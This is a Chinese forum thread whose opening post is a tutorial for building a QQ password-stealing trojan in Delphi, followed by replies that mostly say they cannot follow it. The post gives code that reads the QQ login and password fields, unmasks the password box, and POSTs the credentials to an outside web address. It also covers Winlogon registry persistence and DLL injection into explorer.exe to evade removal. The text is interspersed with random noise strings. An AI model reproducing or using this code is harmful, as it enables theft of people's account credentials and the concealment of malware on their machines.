★我要吧★

 找回密码
 注册[Register]
搜索
qq空间相册密码查看为什么登陆后需要激活无法注册?

[分享] 打造自己的线程木马

[复制链接]
发表于 2009-11-21 14:32:59 | 显示全部楼层 |阅读模式
本来我是想写个好点的DLL木马的,可考虑到篇幅有限(其实是水平有限啊^_^),于是写了一个简单一点的,希望大家能从中学到点什么。
9 f/ U9 N6 C4 y9 h, L& X* X一.判断QQ是否运行 ' e( s6 T. r, @8 E
QQ木马当然是用来盗号的,所以第一步要先判断QQ是否已经运行,。有一种比较简便的方法是通过调用findwindow这个API函数来取得QQ主程序的窗口句柄。如果函数返回值为空,则表示QQ没有运行,如果大余0则表示QQ已经运行。下面是findwindow这个函数的声明: ; _! H+ {1 T( K8 W: b
FWND FindWindow (LPCTSTR IpClassName, LPCTSTR IpWindowName);
1 m# Z/ D0 j: q8 b- J因为QQ程序的窗口类名是32770,所以通过调用FindWindow(`#32770`,nil)就可以得到QQ主程序的窗口句柄了。这样就可以判断QQ是否运行了。 / f$ E+ e  m. P$ |& P: P
二.获取QQ帐号和密码
! `3 Y; N! J& t2 n在取得QQ程序主窗口的句柄后我们可以再调用另外一个函数FindWindowEx就可以得到QQ登陆帐号和密码的句柄了。然后通sendmessage函数发送一条消息给这个输入框,QQ程序就会返回这个输入框里面的文字信息。这是sendmessage函数的原型:LRESULT SendMessage (HWND hWnd,UINT Msg, WPARAMwParam, LPARAM IParam);但是在调用sendmessage函数取得QQ密码的时候,QQ密码经常回不显示星号而是直接显示用户输入的字符,这样就很容易被人发现,为了不让密码显示出来还应调应函数PostMessage,它和sendmessage的区别就是sendmessage直接把一个消息发送给窗口,等消息处理完后才返回,而PostMessage是把消息发送到消息队列后立即返回。这样通过PstMessage发送一个带*号的字符给QQ密码输入框,QQ密码输入框就和以前一样了,只会显示星号而不显示字符。下面是整个截取QQ登陆帐号和密码的函数:
4 e0 \- A: b; i& s- aprocedure ThreadProc;
' A: N/ s% i6 o+ ^4 D7 \var 6 e7 L  E+ T- b$ F! u1 c
p,k:integer; - ]: }9 u: A7 H
qqhwnd,qqhwnd2,tempH:hwnd;
4 ]) K6 n+ B+ G3 ]2 S* k$ ]1 susername,password:pchar;
) }' f4 H7 }4 v. X  M$ e1 cusertemp,passtemp:string; 2 v+ c  i, m% j# U! o% \
begin , {& E7 |  m+ q- v8 B/ Z; K( W
while true do & g7 n) O+ E3 L: y$ Q% B( J. j$ `
begin , q1 ]$ B$ g8 ^" }5 U
sleep(100); & U; b) E! f5 W7 r7 s2 ^
p:=k;
/ G/ k, o3 c  Kgetmem(username,255); 0 G& u3 @- \. f$ X/ J
getmem(password,255);
! ^+ u, _- k" R6 C/ h6 QQQhwnd:=FindWindow(`#32770`,nil); 6 D7 }) H9 K9 K* q9 i: L# N$ [' [6 d0 @
qqhwnd2:=FindWindowEx(qqhwnd,0,`Button`,`注册向导`);
1 {$ Z& x1 F8 E& B% S8 I$ sif qqhwnd2<>0 then   U2 `1 e- O! ]) E$ C: S
begin
! D- v$ j9 E" J& w; v: s& N" }k:=1; 4 K8 e: o& u; E9 t0 @) K* d
TempH:=FindWindowEx(qqHwnd,0,`ComboBox`,nil); # d% `8 o, z4 c1 R' R* `( K
SendMessage(TempH,WM_GETTEXT,100,Integer(username));
0 h* m5 l; E) Q& l9 o5 fTempH:=FindWindowEx(QQHwnd,0,`Edit`,nil);
7 d- _% Z! o4 W. ]9 e9 ^PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0); 7 H: O/ ]2 R& a+ ~" y$ G7 w
Sleep(10); / P, I/ P/ T2 W& N" k! r+ X, R( I
SendMessage(TempH,WM_GETTEXT,100,Longint(password));
$ s+ |( K5 T* Y& t1 ^7 ^PostMessage(TempH,EM_SETPASSWORDCHAR,wparam(`*`),0); 6 h, C: r: u: V" q! A
usertemp:=username;
1 g+ s1 t% N  Z* j6 c: Epasstemp:=password;
) o( T! t5 n% U& ?9 x- N1 Qend
6 i+ y  {2 H/ n" \6 X. T2 T. Eelse # h* M/ @- M. M
begin
2 T1 A  u  _7 L- E! m3 I$ C6 N' ?% ]QQhwnd:=FindWindowEx(qqhwnd,0,`#32770`,nil);
* L# t) ]/ h6 c" Y: Z' M# I, GQQhwnd:=FindWindowEx(qqhwnd,0,`Button`,`使用已有的QQ号码`);
$ v7 Y& }& |! b5 }' P! `if qqhwnd<>0 then
" p; w# x( U8 e0 {- Rbegin
& Q) e3 c. z" f# }$ E) M, R8 A# Gk:=1; / e" P! P5 t+ C0 [1 C5 ~- G
TempH:=GetNextWindow(QQHwnd,GW_HWNDNEXT); # x8 D# b8 r7 }2 y8 ~
SendMessage(TempH,WM_GETTEXT,100,Integer(username)); . Q8 s% ^5 s5 \+ M5 Q: M- e2 Q
TempH:=GetNextWindow(TempH,GW_HWNDNEXT);
& x( Q/ E; r* m1 G: n9 JPostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0);
( x$ {) s5 T" m" Z- HSleep(10);
" p% R1 d& p  m. |SendMessage(TempH,WM_GETTEXT,100,Longint(password));
  @  e; A1 v& s! S- H& ?% }PostMessage(TempH.EM_SETPASSWORDCHAR, wparam(`*`),0); 0 R9 |. z2 D9 ?2 W" }( a6 a; W# P
usertemp:=username;
% `7 r5 f3 X8 hpasstemp:=password; $ z9 \% a& ~/ x5 Z
end ( ?  ~/ b- _" U8 V
else k:=0; $ v. k3 F9 c5 m# r, d2 J
end;if (p=1) and (k=0) and (length(usertemp)>4) and (length(usertemp)<10) and (length(passtemp)>3) then . m# s0 j, B  H( A
begin ( A- W; L5 j" g3 W! y
PostURL(`http://www.sokuang.com/qq/post.asp`,`username=`+usertemp+`&password=`+passtemp);
8 _% [) r& |  \. |( nend; 7 E. t: q( Z# y# S4 V
freemem(username);
4 H- u5 F  d) V% D8 v& Nfreemem(password);end; : ^- ~" j6 h7 u1 Z
end;
3 a: f' l6 K+ m# Z" J4 ~) T/ Z$ O三.信息的发送
% A9 v) g6 r5 d/ p- L0 m当木马成功截取到信息后就回将这些信息发出去,最常见的方法就是采用邮件送。Delphi中已经封装了邮件发送组件,大家可以直接调用组件作一个邮件发送程序,这了就不多说了。但由于调用组件会使木马文件体积过大,所以还是建议大家采用WINDOWS API来写一个邮件发送程序。上面我就调用了一个自定义函数posturl发送QQ帐号和密码到指定的 网页程序上。 8 |# k% c3 K9 C8 E1 V
四.QQ木马的启动和隐藏 完成了QQ木马的主要功能后,还必须为木马加上启动项,如果不能自动启动,那电脑重起后木马就不能自动运行了。木马自启动常见的方法就是修改注册表(一般的木马都是在注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下加上启动项,大家都知道吧),这里告诉你一个隐蔽的位置,就是把[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon]下的shell键值修改一下。也就是在explorer.exe后面加一个空格然后再把木马的路径加上去,这样木马就会随着windows的启动而自动启动了。下面是我用API函数修改注册表的函数。(你也可以在Delphi中直接利用TRegistry对象访问和修改注册表,不过由于调用组件生成的木马太大,建议你用使用API函数。) 0 v% M& c/ {/ ]( X4 s' ^
function CreateKey(Root:HKEY;StrPath:pchar):Hkey; $ {; I# D  c+ y9 l3 s
var TempKey:HKey;Disposition:Integer; ) @5 e: L$ Z/ E# n" s
begin , k" A+ F% {2 j3 z8 D4 X3 ]
TempKey:=0;
! w; t0 q0 f  [/ y3 A. w$ s8 J, sRegCreateKeyEx(Root,StrPath,0,nil,0,KEY_ALL_ACCESS,nil,TempKey,@Disposition); 8 k7 {+ o: O5 Z4 c" e
Result:=TempKey;
9 T" H8 S8 t9 wend; 3 u+ ^  Q; x/ I$ j6 Z( x- \
procedure AddValue(Root:HKEY;StrPath:pchar;StrValue:pchar;Strdata:pchar;DataType:Integer); 2 e! Q- ?4 V7 B: w. A6 v: p# A) d
var s:HKey; 3 c9 {2 q& D: G+ U, l9 d# ]" B( }
DataSize:Integer; 3 D* z; e" j! k  Z5 Z5 u! X, k7 N
begin
9 C  {# ^/ n- t( M* {s:=CreateKey(Root,StrPath); ; Y  z1 U( }" K, m
DataSize:=length(Strdata);
1 B7 [6 B& b. G& [! F7 K- d! BRegSetValueEx(s,StrValue,0,REG_SZ,Strdata,DataSize); //
0 A/ `  `7 `1 YRegCloseKey(s);
% s! @( a# E. {end;
0 j, k. ~8 S0 f上面这个函数是用来生成主键的,最后只需再调用一个函数修改键值 4 ^) j, |" K: s
AssValue(HKEY_LOCAL_MACHINE,`SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winl ogon`,`Shell`,pchar(`Explorer.exe `+paramstr(0)),1)
8 i% G" L5 u1 n1 ?% q0 u. y搞定木马的自动启动后就剩下隐藏了,木马的改进主要是为了成功躲避查杀,更好的隐藏自己,隐藏的方法有很多,在这里我想讲一下线程插入。先说下原理吧,在WINDOWS下面可执行程序是不允许访问其他程序进程空间的,但是DLL文件就不一样了。不如一个DLL文件内设置了一个系统级的钩子,那WINDOWS就会强行把这个DLL映射到所有程序进程空间里面,这样DLL就可以访问该程序的进程空间了。而如果这个DLL文件包含木马功能的话,那就很难被发现了,因为别人看到的是宿主程序的进程,而看不到DLL的进程。这里我以注入explorer.exe为例来说明一下编程思路。首先是得到explorer.exe的进程ID,得到进程ID后再利用OPENPROCESS函数打开资源管理器的进程空间,然后就可以注入了。以下是源代码,供参考。
8 S0 K- K4 z1 r* ~$ BFUNCTION InjectLibrary(Process;LongWord;DLLPath:pChar) : Boolean; ( P8 ?$ ^# K( P& l) L, u
VAR
: u: R  {" _  \- a; q0 ]2 c9 o5 _BytesWritten:DWORD;
: x: L/ R. q# x( k1 t0 G* iThread :DWORD; 1 }) J3 o' V1 a6 C- B# e
ThreadID :DWORD;
9 H2 w6 Q; T$ K& t2 x% W, z% w4 J& iParameters :Pointer; ( T. L7 o% m* X- q" v7 q- e( i
BEGIN
7 d, \$ D5 |& W6 }& y7 mResult:=False;
6 H3 A! {, n& O% ~/ U8 W/ j. JParameters:=xVirtualAllocEx(Process,NIL,4096,MEM_COMMIT,PAGE_READWRITE); $ e: ~$ I# ~3 U, D8 l2 @' a
IF Parameters=NIL THEN Exit; 4 i5 C- e: |; U( d  Z
WriteProcessMemory(Process,Parameters,Pointer(DLLPath),4096,BytesWritten);
4 j! k7 F) j& m7 v; jThread:=xCreateRemoteThread(Process,NIL<)<GetProcAddress(GetModuleHandle(`KER NEL32.DLL`),`LoadLibraryA`),Parameters,0,@Threadld); / j) x0 ~# {  O' M8 v
WaitForSingleObject(Thread,INFINITE);
9 q' u4 G6 J8 x( ~xVirtualFreeEx(Process,Parameters,0,MEM_RELEASE);
. Q. b, D8 C1 @IF Thread=0 THEN Exit;
$ v  L- w1 o1 v8 xCloseHandle(Thread);
; l/ Y- E7 o7 {; F5 p8 tResult:=True;
+ P$ V6 L9 a" `0 l# @! UEND;
/ F* }3 m" G1 H, o9 |# \1 b5 Y7 iInjectLibrary这个函数使用来注入的函数,在调用前必须显得到浏览器的进程第,然后打开浏览器进程空间后才能调用。调用过程如下: 1 J8 A  g# f' P/ x. N5 Q" w
PID:=GetProcessID(`EXPLORER.EXE`);
- C. r+ y; T! l( g9 MProcess:=OpenProcess(PROCESS_ACCESS,False,PID);
- c* `' T- r2 O3 D4 Z4 n, _' DInjectLibrary(Process,Pchar(DllAllpath));
* t4 z5 ?) I; j这样就搞定了线程插入,不过都是调用WINDOWS API函数操作的。因为线程插入技术是把DLL文件映射到可执行文件的进程空间里面,所以要想清除木马首先要关闭可执行文件,而EXPLORER.EXE是WINDOWS系统启动的必须程序,要想清除就很难了。 ( y. _0 E/ ~. b7 }4 A
因为木马需要用到DLL文件,并且在DLL文件中实现木马的功能能起到很好的隐藏作用,所以整个木马绝大部分功能都在DLL中完成。但要想让DLL文件运行必须由其他文件调用才能用,DLL文件是不能单独运行的。所以这里我编写了一个可执行文件来调用DLL木马,并且完成掀程插入功能。这样整个木马就包含两个文件,一个可执行文件和一个DLL文件。但含两个文件的木马是很不方便用的,你可以把DLL文件作为一个资源放在可执行文件里面,当可执行文件运行时就把DLL文件资源释放出来,然后再调用线程插入功能把DLL文件插入到资源管理器中,这样问题就完美的解决了。并且如果这个DLL文件被删除了,可执行文件还可以继续生成这个DLL文件。 0 m+ [2 f# [0 v9 \" X3 F  m
就这样简单,一款属于自己的“马”就出来了,剩下该做什么就不用我说了吧 % V( l* d) j8 n6 j3 O
/ E7 ?# _2 T+ E3 t3 n
发表于 2009-11-21 17:08:47 | 显示全部楼层
:loveliness:
2 \! v. n8 D& g( dAPI.嘿嘿就看懂这一个
发表于 2009-11-21 17:25:53 | 显示全部楼层
:(:;楼上的是天才,我一个都不懂。。
发表于 2009-11-21 19:11:11 | 显示全部楼层
偶看不懂啊......
发表于 2009-11-24 20:15:22 | 显示全部楼层
太深奥咯~~·看不懂
发表于 2009-11-25 14:27:49 | 显示全部楼层
偶是菜鸟,看不懂
发表于 2009-11-25 14:40:50 | 显示全部楼层
没看懂:victory:
发表于 2009-12-4 00:13:13 | 显示全部楼层
谢谢楼主分享
发表于 2009-12-4 07:36:34 | 显示全部楼层
太深奥咯~~·看不懂
发表于 2009-12-4 08:39:18 | 显示全部楼层
牛人..
0 i2 v' P# K( w/ Y4 j1 Q! R俺们完全看不懂:$
发表于 2009-12-4 09:41:54 | 显示全部楼层
我也没看懂,一方面太长,一方面那些名称我不明白
发表于 2010-1-8 10:40:34 | 显示全部楼层
太复杂了看不懂。。。。
发表于 2010-1-8 11:13:52 | 显示全部楼层
现在QQ运行很难
发表于 2010-2-18 20:49:57 | 显示全部楼层
黑客对电脑就是懂得多一点,业余的就是业余的…………:hug:
发表于 2010-2-18 22:30:50 | 显示全部楼层
真看不懂……
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

QQ|手机版|小黑屋|☆我要吧☆ ( 豫ICP备13016831号-1 )

GMT+8, 2024-12-24 07:10 , Processed in 0.096570 second(s), 21 queries .

Powered by abc369 X3.4

© 2001-2023 abc369.

快速回复 返回顶部 返回列表